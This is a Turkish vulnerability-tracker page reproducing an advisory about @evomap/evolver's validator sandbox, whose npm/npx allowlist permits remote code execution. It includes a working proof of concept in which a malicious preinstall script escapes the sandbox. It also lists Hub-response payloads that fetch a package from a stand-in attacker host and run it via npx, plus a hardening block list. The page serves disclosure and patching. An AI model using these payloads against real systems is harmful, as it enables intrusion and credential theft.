İçeriğe atla
Noroxi
OSV ekosistem danışmanlığı

GHSA-jxh8-jh77-xh6g: @evomap/evolver's validator sandbox allowlist permits `npm`/`npx`, yielding RCE from Hub-delivered validation tasks via lifecycle scripts

YüksekCVSS 8.1 · v3.1—İstismar yok Düzeltme var

Noroxi değerlendirmesi

Öncelik: İzleyin (aksiyon skoru 32/100)

  • İzlediğimiz kaynaklarda (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) herkese açık istismar kodu ya da sahada sömürü kaydı yok.
  • İnternetten erişebilen herkes tetikleyebilir. Hesap ya da parola gerekmez. Kullanıcının bir şey yapması gerekmez. Zamanlama ya da yapılandırma gibi özel koşullar gerekir.
  • Düzeltilmiş sürüm: @evomap/evolver (npm) 1.70.0-beta.5.

Şimdilik düşük öncelik. @evomap/evolver (npm) 1.70.0-beta.5 ya da daha yeni sürüme yükseltin.

Kaydın verisinden otomatik üretilir: CVSS (NVD ve CNA), CISA KEV ve SSVC, FIRST EPSS, istismar kaynakları, düzeltme sürümleri. Nasıl hesaplıyoruz

Birincil kaynaklar: OSV

## Summary The validator-mode sandbox executor (`src/gep/validator/sandboxExecutor.js`) places `npm` and `npx` in its hard executable allowlist. Because `npm install <pkg>` and `npx -y -p <pkg> <bin>` execute arbitrary code by design (preinstall/install/postinstall lifecycle scripts and remote-package bin entries), and because validator nodes consume `validation_commands` strings from unsigned Hub responses with no per-response signature check, an attacker who controls or MITMs the Hub achieves automatic remote code execution on every validator node within one daemon poll (default 60s). ## Details End-to-end chain: 1. `src/gep/validator/index.js:71-87` — `fetchValidationTasks()` POSTs to `<hub>/a2a/fetch` and reads `validation_tasks` from the JSON response. The outbound request is signed via `buildHubHeaders()`, but the Hub's response is parsed directly with `await res.json()` and no signature is verified on `data.payload`. 2. `src/gep/validator/index.js:98-108` — `validateOneTask()` extracts `task.validation_commands` (an array of attacker-controlled strings) and passes it straight to `runInSandbox(commands, {})`. No call to `policyCheck.isValidationCommandAllowed()` happens on this path. The author's own comment at `sandboxExecutor.js:41-42` acknowledges this gap: *"This closes the gap where validation_commands go straight from Hub to runInSandbox without passing through policyCheck.isValidationCommandAllowed()."* 3. `src/gep/validator/sandboxExecutor.js:172-218` — `runSingleCommand` calls `parseCommand(cmd)`, then checks `ALLOWED_EXECUTABLES.has(parsed.executable)`: ```js // sandboxExecutor.js:35 const ALLOWED_EXECUTABLES = new Set(['node', 'npm', 'npx']); ``` `parseCommand` only rejects shell metacharacters (`| & ; > < \` $`) and unbalanced quotes. A string like `npm install /tmp/evil-pkg --no-audit --no-fund` contains none of those and parses cleanly into `{ executable: 'npm', args: [...] }`. 4. `sandboxExecutor.js:54-66` — `assertNodeCommandSafe` is a no-op for non-`node` executables: ```js function assertNodeCommandSafe(parsed) { if (parsed.executable !== 'node') return; // npm/npx skip every check ... } ``` The `BLOCKED_NODE_FLAGS` set (`-e`, `-r`, `--loader`, etc.) therefore never gates `npm` or `npx` invocations. 5. `sandboxExecutor.js:213` — `spawn('npm', [...], { shell: false, cwd: sandboxDir, env })` runs `npm`. npm's documented behavior is to execute the package's `preinstall`, `install`, and `postinstall` scripts; `npx` downloads a remote package and executes its `bin` entry. Both yield arbitrary code execution in the validator process's UID/permissions. 6. `src/gep/validator/index.js:189` — the validator daemon polls every 60s by default (`EVOLVER_VALIDATOR_DAEMON_INTERVAL_MS`), and validator mode is **on by default** since v1.69.0 (`isValidatorEnabled()` returns `true` unless explicitly disabled, `index.js:25-34`). The "sandbox" is nominal: it sets a fresh `cwd` and a stripped env (HOME → tmpdir to hide `~/.npmrc`/`~/.ssh`), but `PATH` is preserved (so `npm`/`npx` resolve), there is no container/chroot/seccomp/uid drop, and nothing prevents the spawned process from writing arbitrary files, opening outbound connections, or reading any file readable by the validator process. The author's documented threat model at `sandboxExecutor.js:31-34` explicitly includes Hub compromise: > "Any command whose first token is not in this set is rejected before spawn(). This prevents command injection via Hub-delivered task.command strings even if Hub itself is compromised or mis-signs a task." Putting `npm` and `npx` on that allowlist defeats that stated goal — both are arbitrary-code-execution-by-design tools. ## PoC Reproduced against v1.70.0-beta.4 (HEAD on `main`): Step 1 — plant a malicious package locally (the remote-tarball variant works identically; npm fetches and runs lifecycle scripts in both cases): ```bash mkdir -p /tmp/evil-pkg-validator cat > /tmp/evil-pkg-validator/package.json <<'EOF' { "name":"evil-pkg-validator","version":"1.0.0", "scripts":{ "preinstall":"node -e \"require('fs').writeFileSync('/tmp/pwned-by-validator-test','RCE uid='+process.getuid()+' time='+Date.now())\"" } } EOF ``` Step 2 — invoke the exact code path used by `validateOneTask()` when the Hub returns a task with `validation_commands: ["npm install /tmp/evil-pkg-validator --no-audit --no-fund"]`: ```bash rm -f /tmp/pwned-by-validator-test node -e " const s = require('./src/gep/validator/sandboxExecutor'); s.runInSandbox( ['npm install /tmp/evil-pkg-validator --no-audit --no-fund'], { cmdTimeoutMs: 60000 } ).then(o => { console.log('overallOk:', o.overallOk, 'exitCode:', o.results[0].exitCode); console.log('PWNED:', require('fs').readFileSync('/tmp/pwned-by-validator-test','utf8')); });" ``` Observed output (verified): ``` overallOk: true exitCode: 0 PWNED: RCE uid=0 time=1777213140205 ``` The sandbox reports `overallOk: true` (it sees a clean exit-0 from `npm`), while the preinstall script has already written `/tmp/pwned-by-validator-test` outside the sandbox directory — uncontained code execution as the validator UID. Remote-only variant (no local file required): a compromised or MITM'd Hub returns: ```json { "validation_commands": ["npm install https://attacker.example/evil.tgz --no-audit --no-fund"] } ``` or ```json { "validation_commands": ["npx -y -p evil-pkg@1.0.0 evil-cmd"] } ``` Both pass `parseCommand()` (no shell metacharacters), pass `ALLOWED_EXECUTABLES.has('npm'|'npx')`, and `assertNodeCommandSafe` is a no-op for them. npm/npx fetch the remote tarball and execute its lifecycle/bin scripts on the validator host. ## Impact - **Arbitrary code execution** as the evolver/validator process UID on every validator node that polls the malicious Hub (one cycle ≈ 60s by default). - **Credential exfiltration**: HUB_NODE_SECRET, A2A node identity, any cloud/cred material readable by the process. - **Persistence / lateral movement**: write to user-writable cron, systemd-user units, shell rc files; pivot into the host's container / VM. - **Wormable across the network**: a single Hub compromise auto-RCEs every node running validator mode — and validator mode is opt-out / on by default since v1.69.0. - **Defeats the documented sandbox guarantee**: the executor advertises defense against a compromised Hub; in practice, two of its three allowed binaries are arbitrary-code-execution tools. ## Recommended Fix Remove `npm` and `npx` from `ALLOWED_EXECUTABLES`. Validation tasks need only `node <script>`: ```js // src/gep/validator/sandboxExecutor.js const ALLOWED_EXECUTABLES = new Set(['node']); ``` If `npm test` / `npx vitest` style commands must remain reachable from the Hub path, harden them explicitly: ```js function assertNpmCommandSafe(parsed) { if (parsed.executable !== 'npm' && parsed.executable !== 'npx') return; // Block install/exec/run-script that fetch or execute lifecycle scripts. const sub = parsed.args.find((a) => !a.startsWith('-')); const FORBIDDEN = new Set(['install', 'i', 'add', 'ci', 'exec', 'x', 'run', 'run-script', 'rebuild', 'pack', 'publish']); if (FORBIDDEN.has(sub)) { throw new Error('npm/npx subcommand not allowed in sandbox: ' + sub); } // Require --ignore-scripts on every npm invocation as defense-in-depth. if (parsed.executable === 'npm' && !parsed.args.includes('--ignore-scripts')) { throw new Error('npm in sandbox requires --ignore-scripts'); } // npx always fetches+executes — disallow entirely. if (parsed.executable === 'npx') { throw new Error('npx is not allowed in sandbox'); } } ``` Additionally: 1. **Sign the Hub's `/a2a/fetch` *response*** the same way outbound requests are signed (`buildHubHeaders`). Verify the signature on `data.payload` in `fetchValidationTasks` before handing tasks to `runInSandbox`. This closes the network-MITM variant that does not require Hub compromise. 2. **Run `runInSandbox` under real isolation** — drop privileges, disable network, mount tmpfs, apply seccomp — rather than relying solely on an allowlist. The current `buildSandboxEnv` only redirects `HOME`/`TMPDIR`; the spawned process otherwise has full host access. 3. **Apply `policyCheck.isValidationCommandAllowed()` to Hub-delivered `validation_commands`** in `validateOneTask`, mirroring the gate that already exists for capsule-derived commands in `solidify.js` / `skill2gep.js`.

Güncelleme
5 May 2026
EPSS
—

Rapor araçları

JSON

Aksiyon skoru

32

İzleyin

Şimdilik düşük öncelik.

CVSS
32 / 40 · 8.1 / 10
CISA KEV
0 / 30 · Listede değil
EPSS
0 / 30 · —

Bu kayıt değişirse haber alın

  • KEV'de değil: sahada sömürü kaydı yok
  • Herkese açık istismar kodu kaydı yok
  • Düzeltme yayımlandı

Bunlardan biri değişirse günlük e-posta özetinde haber veririz.

GHSA-jxh8-jh77-xh6g kaydını takip edin

Ne zaman haber verilir

  • CISA KEV'e girdiğinde
  • istismar kodu ortaya çıktığında ya da silahlaştırıldığında
  • kayıt güncellendiğinde (düzeltme sürümü dahil)
  • EPSS bir haftada 20 puan arttığında

Günde bir e-posta özeti (06:00 UTC); webhook bağlarsanız KEV ve silahlaştırılmış istismar ücretli planda 10 dakikada bir, ücretsizde saat başı.

Ücretsiz hesapla ayrıca

  • CVE uyarıları: kullandığınız ürün ve sürümleri ekleyin, onları etkileyen yeni CVE'ler size gelsin
  • Site izleme: 1 site, kesintide anında e-posta
  • Alan adınızı ekleyin: alt alan adları ve ele geçirme riski her hafta taransın (1 alan adı)
  • Güvenlik araçlarında saatte 10, günde en çok 30 tarama (hesapsız günde 3), API anahtarı ve MCP
  • Taramalarınız tek panelde: bulgular, son taramada değişenler, alan adı ya da müşteri başına rapor (PDF, paylaşım bağlantısı)
Tüm ücretsiz araçlar

E-postayla kayıt olun · Hesabınız var mı? Giriş yapın

Ücretsiz hesap, kart istenmez. Takibi istediğiniz an bırakırsınız.

Sürümünüz etkileniyor mu? Kontrol edin

Noroxi analizi

Sizin ortamınızda ne anlama geliyor?

Yukarıdaki değerlendirme kaydın verisinden otomatik üretilir; ortamınızı bilmez. Bu açığın sizde gerçekten sömürülebilir olup olmadığını ve hangi önlemin yeteceğini ekibimiz sizin sistemlerinizde doğrular.

Bu ürünü kullanıyoruz, yardım isteyin

Etkilenen sistemler

Sürümünüz etkileniyor mu?

Ürünü seçip kullandığınız sürümü yazın. Bu kaydın sürüm aralıklarıyla tarayıcınızda karşılaştırılır; sürüm hiçbir yere gönderilmez.

ÜreticiÜrün
npm@evomap/evolver

Paket düzeyi etkilenme

OSV ve GitHub Advisory verisi: ekosistem, paket ve aralık. SBOM eşleşmesi bu tabloyu kullanır.

EkosistemPaketEtkilenen aralıkDüzeltme
npm@evomap/evolver1.70.0-beta.5 öncesi1.70.0-beta.5

Aynı üründe

npm: tüm kayıtlar

Aynı birincil ürünün en yüksek skorlu diğer kayıtları.

  • GHSA-cfcj-hqpf-hccf@evomap/evolver: Path Traversal in `evolver fetch` default-branch `safeId` allows Hub-controlled overwrite of project files (RCE)
    35İzleyin
  • GHSA-7xp7-m392-h92c@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS
    24İzleyin

Düzeltme

Hangi sürüme geçmeli

Üretici, paket deposu ve Microsoft kayıtlarından derlenen düzeltme sürümleri. Yükseltmeden önce üreticinin notunu doğrulayın.

Ürün / paketDüzeltilmiş sürümKaynak
npm:@evomap/evolver1.70.0-beta.5Paket deposu (OSV)

İstismar durumu

Bilinen kamuya açık istismar yok

Şu an kamuya açık bir istismar görülmedi. Bu, güvende olduğunuz anlamına gelmez; yalnızca eşiğin biraz daha yüksek olduğunu gösterir.

Araştırma bağlamı

Pentester ve araştırmacı için: saldırı profili, puan anlaşmazlığı, zaman çizelgesi, yama commit’leri, kredi, varyant ve zincir adayları, bug bounty kapsamı. Hepsi mevcut veriden türetilir; istismar kodu içermez.

Zaman çizelgesi

Yayından bugüne: kavram kanıtı, Metasploit modülü, CISA KEV ve düzeltme kaydı. Tarihler kaynakların bildirdiği tarihlerdir.

Yayın dışında tarihli olay yok.

Bu kayıtta yok: EPSS geçmişi · yama commit'i ya da PR bağlantısı · araştırmacı kredisi · varyant ya da zincir adayı · herkese açık ödül programı.

Teknik detay

Saldırı koşulları

  • İnternetten erişebilen herkes tetikleyebilir.
  • Hesap ya da parola gerekmez.
  • Kullanıcının bir şey yapması gerekmez.
  • Zamanlama ya da yapılandırma gibi özel koşullar gerekir.

Başarılı olursa

Gizlilik
yüksek · veriler okunabilir
Bütünlük
yüksek · veri ya da yapılandırma değiştirilebilir
Erişilebilirlik
yüksek · hizmet durdurulabilir
Saldırı vektörü
Ağ
Karmaşıklık
Yüksek
Gereken yetki
Yok
Kullanıcı etkileşimi
Gerekmez
Kapsam
Değişmez
Gizlilik etkisi
Yüksek
Bütünlük etkisi
Yüksek
Erişilebilirlik etkisi
Yüksek

CVSS vektörü

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

osv

Kök neden

Kullanıcı girdisi, bir kabuk komutunun içine metin olarak yerleştiriliyor. Kabuk, girdideki özel karakterleri komutun parçası olarak yorumlayabilir.

Hatanın kod karşılığı

CWE-78 sınıfının tamamı

Bu zafiyet sınıfının temsili örneği. Üreticinin kaynak kodu değildir; hatalı kalıbı ve düzeltmesini gösterir.

Hatalı

ts
const host = req.body.host;exec("ping -c 1 " + host, onResult);

Düzeltilmiş

ts
const host = req.body.host;if (!/^[a-z0-9.-]{1,253}$/i.test(host)) return res.sendStatus(400);execFile("ping", ["-c", "1", host], onResult);

Saldırı bağlamı

Bu zafiyet sınıfının (CWE) MITRE CAPEC saldırı desenleri ve ATT&CK teknikleri. Tespit kuralı ve tehdit avı için başlangıç noktası.

Referanslar

Tüm referansları göster (1 daha)

Üretici bildirimleri ve resmî kayıtlar. İstismar/PoC bağlantıları bilinçli olarak dışarıda bırakıldı.

Tüm kayıtlar